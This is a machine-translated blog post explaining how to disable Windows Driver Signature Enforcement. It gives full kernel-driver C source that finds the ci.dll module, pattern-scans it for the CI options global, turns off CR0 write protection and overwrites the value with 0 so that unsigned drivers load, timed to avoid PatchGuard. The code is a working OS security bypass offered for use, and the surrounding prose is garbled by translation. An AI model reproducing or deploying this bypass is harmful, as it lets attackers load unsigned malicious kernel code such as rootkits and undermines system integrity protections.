The kernel has been verified by DSE driver signature

I. Introduction

Current drivers must be signed before they can be loaded So how to load the unsigned driver module Here's how But it's embarrassing that the code must be written in the driver So it's formed You must load a driver with a signature Execute your code After pass ing the DSE, the driver can be loaded without signing at all

Principle: The principle is to use the CI kernel module Set a global variable to 0 But protected by PG However, PG will not protect this position immediately So you can modify and load your driver without driver signature Then modify it back

There are three global variables 0 6 8 0 = disabled 6 = enabled 8 represents that the test signature can be loaded

II. Reverse CI DLL to find Path location

Now that it's said above Is to modify a global variable Then open the CI and modify it

result

Although it is suggested that you need to sign But you can see it with PChunter Actually, it has been loaded

There are three values 0 6 8 6 means to turn on the driver signature 0 means to turn off 8 means to turn on the test driver signature

code:

#include "Driver.h"
#include <wdm.h>

//KLDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY {
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	USHORT LoadCount;
	USHORT TlsIndex;
	union {
		LIST_ENTRY HashLinks;
		struct {
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union {
		struct {
			ULONG TimeDateStamp;
		};
		struct {
			PVOID LoadedImports;
		};
	};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //Unequal front and rear
	{
		//Get LDR_DATA_TABLE_ENTRY structure
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
				pCurrentModule->BaseDllName,
				pCurrentModule->DllBase,
				(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
}

LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;

	while (pCurrentListEntry != pListEntry) //Unequal front and rear
	{
		//Get LDR_DATA_TABLE_ENTRY structure
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				return (LONGLONG)pCurrentModule->DllBase;
			}
			
		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	return 0;
}

typedef struct _BASEMANGER
{
	LONGLONG StartBase;
	LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;

BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
	PLDR_DATA_TABLE_ENTRY pLdr = NULL;
	PLIST_ENTRY pListEntry = NULL;
	PLIST_ENTRY pCurrentListEntry = NULL;

	PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
	pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
	pListEntry = pLdr->InLoadOrderLinks.Flink;
	pCurrentListEntry = pListEntry->Flink;
	BASEMANGER BaseManger = { 0 };
	while (pCurrentListEntry != pListEntry) //Unequal front and rear
	{
		//Get LDR_DATA_TABLE_ENTRY structure
		pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

		if (pCurrentModule->BaseDllName.Buffer != 0)
		{
			UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
			UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
			if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
			{
				
				DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
					pCurrentModule->BaseDllName,
					pCurrentModule->DllBase,
					(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
				
				BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
				BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
				return BaseManger;
			}

		}
		pCurrentListEntry = pCurrentListEntry->Flink;
	}
	BaseManger.StartBase = 0;
	BaseManger.EndBase = 0;
	return BaseManger;
}





//Core implementation code
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;



KIRQL  WPOFFx64()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}



KIRQL DisableMemProtected()
{
	KIRQL  irql = KeRaiseIrqlToDpcLevel();
	UINT64  cr0 = __readcr0();
	cr0 &= 0xfffffffffffeffff;
	_disable();
	__writecr0(cr0);
	return  irql;
}

void EnbaleMemProtected(KIRQL irql)
{
	UINT64  cr0 = __readcr0();
	cr0 |= 0x10000;
	_enable();
	__writecr0(cr0);
	KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
	UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
	DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
	DWORD64 SerchAddress = CiStartAddress;
	DWORD64 Address;
	KIRQL Myirql;
	int nCount = 0;
	int isFind = 0;
	int i = 0;
	int isRead = 1;
	if (SerchAddress == 0)
	{
		return 0;
	}
	__try
	{
		KIRQL irql = KeRaiseIrqlToDpcLevel();
		while (SerchAddress++)
		{
			if (SerchAddress + 2 > CiEndAddress)
			{
				break;
			}

			isRead = 1;
			for (i = 0; i < 2; i++)
			{
				if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
				{
					isRead = 0;
					break;
				}
			}

			if (isRead == 1)
			{
				if (*(PUSHORT)(SerchAddress) == 0x15ff)
				{
					Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
					if (MmIsAddressValid((PDWORD64)Address))
					{
						if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
						{
							while (nCount < 100)
							{
								nCount++;
								SerchAddress--;
								if (*(PUSHORT)(SerchAddress) == 0x0d89)
								{
									isFind = 1;
									break;
								}
							}
							break;
						}
					}

				}
			}
		}
		KeLowerIrql(irql);
	}
	__except (1)
	{
		DbgPrint("Search data failed!");
	}
	if (isFind == 1)
	{
		//DbgPrint("SerchAddress: %p\n", SerchAddress);
		g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
		g_CiOptions = *(PLONG)g_CiOptionsAddress;
		DbgPrint("Address:%p Initialization value data:%08X\n", g_CiOptionsAddress, g_CiOptions);
		Myirql = DisableMemProtected();
		*(PLONG)g_CiOptionsAddress = 0; //DisableDse can be modified to 0
		DbgPrint("Address:%p The modified data is:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
		EnbaleMemProtected(Myirql);
		return TRUE;
	}
	else
	{
		DbgPrint("Search data failed!\n");
		return FALSE;
	}
}
void EnbalDse()  //Turn on DSE protection
{
	KIRQL Myirql;
	Myirql = DisableMemProtected();
	*(PLONG)g_CiOptionsAddress = 6; //DisableDse can be modified to 6
	DbgPrint("Open signature verification succeeded.Change the value to %d \r\n", *(PLONG)g_CiOptionsAddress);
	EnbaleMemProtected(Myirql);
	
}



NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
	ULONG iCount = 0;
	NTSTATUS ntStatus;
	UNICODE_STRING uModuleName;
	BASEMANGER Base = { 0 };
	RtlInitUnicodeString(&uModuleName, L"CI.dll");
	pDriverObj->DriverUnload = DriverUnLoad;

	Base = GetModuleBaseByNames(pDriverObj, uModuleName);
	if (Base.StartBase != 0 && Base.EndBase != 0)
	{
		DisableDse(Base.StartBase, Base.EndBase);//Incoming CI base address cicienddaddress
		//EnbalDse();                            // Close DSE
	}

	
	
	
	return STATUS_SUCCESS;
}
copy

ps: the article is original But the core principle refers to a big man who watched the meteor forum. I copied its code and changed it slightly. Added traversal module code. The principle is Path CI The boss's code is to find global variables for feature location. Now that you know the principle. Then copy the location. Another article refers to a vulnerability article of the security guest. I can't find it now. In another article, there are three kinds of flags: 0, 6, 8, 0 is disabled, 6 is enabled, and 8 is the start test signature. So it's used directly here.

Posted by nvidia on Tue, 10 May 2022 09:19:12 +0300